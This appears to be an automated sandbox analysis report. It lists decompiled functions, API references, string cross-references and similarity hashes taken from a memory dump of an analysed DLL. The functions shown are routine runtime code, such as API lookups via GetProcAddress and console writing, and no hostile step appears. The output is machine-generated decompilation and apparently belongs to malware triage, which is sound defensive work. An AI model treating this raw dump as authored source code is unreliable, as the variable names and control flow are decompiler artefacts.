Strings

ntdll, xrefs: 6EDBC4C0
NtCreateKeyedEvent, xrefs: 6EDBC4CF

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 93047da411ac328a09c8d94fc66f4b74e86af907e4e1bf1ab51fac681756cc3f
Instruction ID: 01307db2b7d62d8fa6211b262c89cf1fd20c365a58725da715a01a3d0e346a59
Opcode Fuzzy Hash: 93047da411ac328a09c8d94fc66f4b74e86af907e4e1bf1ab51fac681756cc3f
Instruction Fuzzy Hash: 10B092B6A08945EAAE91ABF2490CF2A2A28AD413163029440A056DA508EA20C406EA21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC480, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC480() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("ntdll");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "NtWaitForKeyedEvent");
				}
			}

0x6edbc485
0x6edbc48d
0x6edbc49c
0x6edbc48f
0x6edbc49b
0x6edbc49b

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDBC485
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6EDBC495

Strings

ntdll, xrefs: 6EDBC480
NtWaitForKeyedEvent, xrefs: 6EDBC48F

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: 029850161e75e3a33f089e47b75aa0adc78e4ca70767dad52fcfc38d0ce62034
Instruction ID: 4d767db070a05cf4e174a7c9b9b50f77ff68dcf8a43252dc06fcb565ab2e2d49
Opcode Fuzzy Hash: 029850161e75e3a33f089e47b75aa0adc78e4ca70767dad52fcfc38d0ce62034
Instruction Fuzzy Hash: ABB092BAA08A45EAAE91ABF1490CF2A2A28AD412173029440A05AD9108DA20D006EE22

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC4A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC4A0() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("ntdll");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "NtReleaseKeyedEvent");
				}
			}

0x6edbc4a5
0x6edbc4ad
0x6edbc4bc
0x6edbc4af
0x6edbc4bb
0x6edbc4bb

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDBC4A5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6EDBC4B5

Strings

ntdll, xrefs: 6EDBC4A0
NtReleaseKeyedEvent, xrefs: 6EDBC4AF

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: f7c751d4dc9c2cb99d1a216bf6311ff5c36e571aebc0cf45848ffe262020ba6c
Instruction ID: 9bbb68cf405c073882938a119a67fd39545ffab6db353a723d43beaf03e96634
Opcode Fuzzy Hash: f7c751d4dc9c2cb99d1a216bf6311ff5c36e571aebc0cf45848ffe262020ba6c
Instruction Fuzzy Hash: 51B092B6A08945EAAE92ABF1590CF2A3A28AD412163029444A456D9208EA24D006EA21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC440, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC440() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("kernel32");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "SetThreadDescription");
				}
			}

0x6edbc445
0x6edbc44d
0x6edbc45c
0x6edbc44f
0x6edbc45b
0x6edbc45b

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDBC445
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6EDBC455

Strings

SetThreadDescription, xrefs: 6EDBC44F
kernel32, xrefs: 6EDBC440

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 7e0986d58b763414d7598059a0836675b496c0653bde3ef607449369406c1a15
Instruction ID: b6632e4a5e9af83dce1045abbac4dccad6005643b98820b2ec66058a23b96a74
Opcode Fuzzy Hash: 7e0986d58b763414d7598059a0836675b496c0653bde3ef607449369406c1a15
Instruction Fuzzy Hash: E9B092B9A00905EFBE91EBF24D2CB3B3A59A9512523039440A992D9108DA20C006AB61

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC420, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC420() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("kernel32");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "GetSystemTimePreciseAsFileTime");
				}
			}

0x6edbc425
0x6edbc42d
0x6edbc43c
0x6edbc42f
0x6edbc43b
0x6edbc43b

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDBC425
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6EDBC435

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6EDBC42F
kernel32, xrefs: 6EDBC420

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: d5e4b32d9b314bdb5e8c5e3ddd4f5175b2830b15d3f8beeb6ffa92b983799acc
Instruction ID: 11813be7cb4436c77bb735b5d1e2f36e5dbd974c33e88471ebffb166f1cc3160
Opcode Fuzzy Hash: d5e4b32d9b314bdb5e8c5e3ddd4f5175b2830b15d3f8beeb6ffa92b983799acc
Instruction Fuzzy Hash: BFB09B75900509EA7D51D7F1491CF2B251565D1552302545064D1D9109DA20D0069A21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD4089, Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6EDD4089(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(E6EDD74CA);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0x6ee0a4a4; // 0xcd23f81e
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x6ee0b5e0 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E6EDCF760(_t265, _t291, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x6ee0b5e0 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x6ee0b5e0 + _v84 * 4) + _t300 + 0x2d) =  *( *(0x6ee0b5e0 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E6EDD2A23(_t273, _t292,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E6EDD2A23(_t273, _t292);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x6ee0abf0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0x6ee0b5e0 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E6EDD4CEF( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x6ee0abf0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0x6ee0b5e0 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E6EDCAE10( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0x6ee0b5e0 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E6EDD4CEF( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E6EDD19B3(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E6EDCA057(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x6edd408e
0x6edd4090
0x6edd409b
0x6edd409c
0x6edd409f
0x6edd40a4
0x6edd40a6
0x6edd40ac
0x6edd40b0
0x6edd40b6
0x6edd40bb
0x6edd40c1
0x6edd40c4
0x6edd40c7
0x6edd40ca
0x6edd40cd
0x6edd40d0
0x6edd40da
0x6edd40e1
0x6edd40e9
0x6edd40ec
0x6edd40f2
0x6edd40f6
0x6edd40f9
0x6edd40fd
0x6edd40fd
0x6edd4105
0x6edd410d
0x6edd4112
0x6edd4113
0x6edd4114
0x6edd4115
0x6edd4118
0x6edd411a
0x6edd4120
0x6edd4126
0x6edd4129
0x6edd412b
0x6edd412e
0x6edd4137
0x6edd413d
0x6edd4140
0x6edd4147
0x6edd414e
0x6edd4151
0x6edd428b
0x6edd428f
0x6edd4292
0x6edd42b5
0x6edd42bb
0x6edd42bd
0x6edd42c1
0x6edd42f2
0x6edd42f5
0x6edd42f7
0x00000000
0x6edd42c3
0x6edd42c3
0x6edd42c6
0x6edd42c9
0x6edd42cc
0x6edd4416
0x6edd4424
0x6edd442d
0x6edd42d2
0x6edd42dc
0x6edd42e1
0x6edd42e4
0x6edd42e7
0x6edd42ed
0x00000000
0x6edd42ed
0x6edd42e7
0x6edd42cc
0x6edd4294
0x6edd429b
0x6edd429e
0x6edd42a1
0x6edd42a3
0x6edd42a6
0x6edd42ad
0x6edd42af
0x6edd42f8
0x6edd42fb
0x6edd42fc
0x6edd4301
0x6edd4304
0x6edd4307
0x6edd430d
0x00000000
0x6edd430d
0x6edd4307
0x6edd4157
0x6edd415a
0x6edd415c
0x6edd415e
0x6edd4162
0x6edd4163
0x6edd4167
0x00000000
0x00000000
0x00000000
0x6edd4167
0x6edd416c
0x6edd416e
0x6edd4173
0x6edd4233
0x6edd423a
0x6edd423b
0x6edd423e
0x6edd4240
0x6edd43f0
0x6edd43f2
0x00000000
0x6edd43f4
0x6edd43f4
0x6edd43f7
0x6edd4406
0x6edd440a
0x6edd440b
0x6edd440b
0x00000000
0x6edd440f
0x00000000
0x6edd4246
0x6edd424b
0x6edd424e
0x6edd4251
0x6edd4257
0x6edd4260
0x6edd426b
0x6edd4270
0x6edd4273
0x6edd4276
0x6edd427f
0x6edd427f
0x6edd4282
0x00000000
0x6edd4282
0x6edd4276
0x6edd4179
0x6edd417c
0x6edd4182
0x6edd4184
0x6edd4191
0x6edd4192
0x6edd4195
0x6edd4198
0x6edd419d
0x6edd43c1
0x6edd43c3
0x6edd43c5
0x6edd43c8
0x6edd43cb
0x6edd43d7
0x6edd43da
0x6edd43dc
0x6edd43dd
0x6edd43e1
0x6edd43e4
0x6edd43e4
0x6edd43e8
0x6edd43e8
0x6edd43e8
0x6edd43eb
0x6edd43eb
0x6edd41a3
0x6edd41a3
0x6edd41a6
0x6edd41a8
0x6edd41ab
0x6edd41ad
0x6edd41b1
0x6edd41b2
0x6edd41b3
0x6edd41b7
0x6edd41bc
0x6edd41c6
0x6edd41cb
0x6edd41ce
0x6edd41ce
0x6edd41d1
0x6edd41d4
0x6edd41d6
0x6edd41d9
0x6edd41e2
0x6edd41e6
0x6edd41e7
0x6edd41ee
0x6edd41f4
0x6edd41fc
0x6edd4207
0x6edd420c
0x6edd4217
0x6edd421c
0x6edd4222
0x6edd422b
0x6edd4285
0x6edd4285
0x6edd4310
0x6edd4315
0x6edd4327
0x6edd432c
0x6edd432f
0x6edd4334
0x6edd434f
0x6edd4432
0x6edd4438
0x6edd4355
0x6edd4355
0x6edd4360
0x6edd4362
0x6edd4365
0x6edd436e
0x6edd4378
0x00000000
0x6edd437a
0x6edd437c
0x6edd437e
0x6edd4397
0x00000000
0x6edd439d
0x6edd43a1
0x6edd43a7
0x6edd43aa
0x6edd43b0
0x6edd43b3
0x00000000
0x6edd43b3
0x6edd43a1
0x6edd4397
0x6edd4378
0x6edd436e
0x6edd434f
0x6edd4334
0x6edd4222
0x6edd419d
0x6edd4173
0x00000000
0x6edd43b6
0x6edd43b6
0x6edd43bf
0x6edd443a
0x6edd443f
0x6edd4447
0x6edd4448
0x6edd4449
0x6edd4455
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(CD23F81E,?,00000000,?), ref: 6EDD40EC

Part of subcall function 6EDD19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDD3B22,?,00000000,-00000008), ref: 6EDD1A5F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EDD4347
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EDD438F
GetLastError.KERNEL32 ref: 6EDD4432

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fe7975d5a4030a5d895275c173e3bb3d5591056296825bc4c71663e185fadb74
Instruction ID: 85933fd98a1dde517b25bf67d9b934c75a2c88be41156dc324a19ba17e5b19c2
Opcode Fuzzy Hash: fe7975d5a4030a5d895275c173e3bb3d5591056296825bc4c71663e185fadb74
Instruction Fuzzy Hash: 42D158B5D406599FDF05CFE8C890AEDBBB9FF09304F18452AE865EB241D730A94ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2620, Relevance: 6.2, APIs: 4, Instructions: 215
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E6EDC2620(void* __ebx, long __ecx, void* __edx, void* __edi, void* __esi, signed char _a1, char _a2, char _a8, signed int _a8212, void* _a8216, char _a1860154908) {
				signed int _v0;
				char _v2;
				void* _v4;
				long _v8;
				long _v12;
				signed char* _v16;
				long _v20;
				intOrPtr _v28;
				char _v36;
				char _v40;
				long _v44;
				char* _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				long _v64;
				char* _v68;
				long _v76;
				long _v80;
				char _v84;
				long _v88;
				intOrPtr _v92;
				long _v100;
				long _v104;
				char _v108;
				intOrPtr _v188;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				void* __ebp;
				signed short* _t120;
				signed char _t122;
				void** _t124;
				void* _t129;
				void* _t135;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t146;
				void* _t147;
				long _t156;
				signed short _t161;
				void* _t164;
				signed int _t167;
				signed int _t168;
				signed int _t172;
				signed int _t173;
				DWORD* _t177;
				unsigned int _t178;
				void* _t180;
				unsigned int _t182;
				void* _t183;
				signed char _t185;
				signed int _t186;
				void* _t192;
				long _t193;
				signed int _t196;
				void** _t197;
				void* _t205;
				DWORD* _t206;
				signed char _t208;
				signed int _t212;
				signed short _t215;
				long* _t219;
				long _t221;
				long _t226;
				signed char _t228;
				intOrPtr _t236;
				signed int _t237;
				signed short _t238;
				void* _t245;
				void* _t247;
				signed int _t249;
				signed int _t250;
				unsigned int _t253;
				signed int _t256;
				void* _t258;
				long _t259;
				char* _t260;
				void* _t261;
				char* _t264;
				void* _t271;
				void* _t272;
				void** _t273;
				void* _t276;
				signed short _t277;
				signed int _t281;
				signed int _t282;
				signed int _t284;
				signed int _t288;
				void* _t289;
				void* _t290;
				signed int _t296;
				void* _t301;
				void* _t302;
				void* _t303;
				void* _t304;
				void* _t306;
				void* _t307;
				intOrPtr _t308;
				void* _t319;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				E6EDCA000(0x2010);
				_t258 = _a8216;
				_t288 = _a8212;
				_t271 =  &_v0;
				_v4 = __edx;
				_v8 = __ecx;
				E6EDCC310(_t258, _t271, 0, 0x2000);
				_t302 = _t301 + 0xc;
				_t177 = _t288 + _t258;
				_t192 = 0x2000;
				_t259 = 0;
				_v16 = _t177;
				if(0 == 0) {
					L4:
					__eflags = _t288 - _t177;
					if(_t288 == _t177) {
						L27:
						__eflags = _t259 - 0x1001;
						if(__eflags >= 0) {
							goto L46;
						} else {
							goto L28;
						}
					} else {
						_t185 = _v0;
						_t7 =  &_a1; // 0x1
						_t167 = _t7;
						_t249 = _t185 & 0x000000ff;
						__eflags = _t185;
						if(_t185 < 0) {
							_t281 = _v16;
							__eflags = _t167 - _t281;
							if(_t167 == _t281) {
								_t168 = 0;
								_t288 = _t281;
								_t250 = _t249 & 0x0000001f;
								__eflags = _t185 - 0xdf;
								if(_t185 > 0xdf) {
									goto L10;
								} else {
									goto L15;
								}
							} else {
								_t288 =  &_a2;
								_t168 = _a1 & 0x3f;
								_t250 = _t249 & 0x0000001f;
								__eflags = _t185 - 0xdf;
								if(_t185 <= 0xdf) {
									L15:
									_t256 = _t250 << 6;
									goto L18;
								} else {
									L10:
									_t282 = _v16;
									__eflags = _t288 - _t282;
									if(_t288 == _t282) {
										_t288 = _t282;
										_t168 = _t168 << 6;
										__eflags = _t185 - 0xf0;
										if(_t185 >= 0xf0) {
											goto L12;
										} else {
											goto L17;
										}
									} else {
										_t288 =  &_a1;
										_t168 = _t168 << 0x00000006 | _v0 & 0x3f;
										__eflags = _t185 - 0xf0;
										if(_t185 < 0xf0) {
											L17:
											_t256 = _t250 << 0xc;
											__eflags = _t256;
											L18:
											_t177 = _v16;
											_t249 = _t256 | _t168;
											_t271 =  &_v0;
											goto L21;
										} else {
											L12:
											_t284 = _v16;
											__eflags = _t288 - _t284;
											if(_t288 == _t284) {
												_t186 = 0;
												__eflags = 0;
												_t288 = _t284;
											} else {
												_t288 =  &_a1;
												_t186 = _v0 & 0x3f;
											}
											_t271 =  &_v0;
											_t172 = _t168 << 0x00000006 | (_t250 & 0x00000007) << 0x00000012 | _t186;
											_t177 = _v16;
											__eflags = _t172 - 0x110000;
											_t249 = _t172;
											if(_t172 == 0x110000) {
												goto L27;
											} else {
												L21:
												__eflags = _t249 - 0xffff;
												if(__eflags <= 0) {
													goto L2;
												} else {
													_t253 = _t249 + 0xffff0000;
													_t173 = _t253 & 0x000003ff | 0x0000dc00;
													_t249 = _t253 >> 0x0000000a | 0x0000d800;
													_t177 = _v16;
													__eflags = _t192;
													if(__eflags == 0) {
														goto L26;
													} else {
														goto L24;
													}
												}
											}
										}
									}
								}
							}
						} else {
							_t177 = _v16;
							_t288 = _t167;
							_t173 = 0;
							__eflags = _t192;
							if(__eflags != 0) {
								goto L24;
							} else {
								goto L26;
							}
						}
					}
				} else {
					L2:
					_t173 = 0;
					if(_t192 != 0) {
						L24:
						 *(_t302 + 0x10 + _t259 * 2) = _t249;
						_t259 = _t259 + 1;
						_t192 = _t192 + 0xfffffffe;
						_t249 = _t173;
						__eflags = _t249;
						if(__eflags != 0) {
							goto L2;
						} else {
							goto L4;
						}
					} else {
						L26:
						_t259 = 0x1000;
						L28:
						_t177 =  &_v12;
						_v12 = 0;
						if(WriteConsoleW(_v4, _t271, _t259, _t177, 0) == 0) {
							_t156 = GetLastError();
							_t219 = _v8;
							_t219[2] = _t156;
							_t219[1] = 0;
							 *_t219 = 1;
							goto L44;
						} else {
							_t288 = _v12;
							_t245 = _a8216;
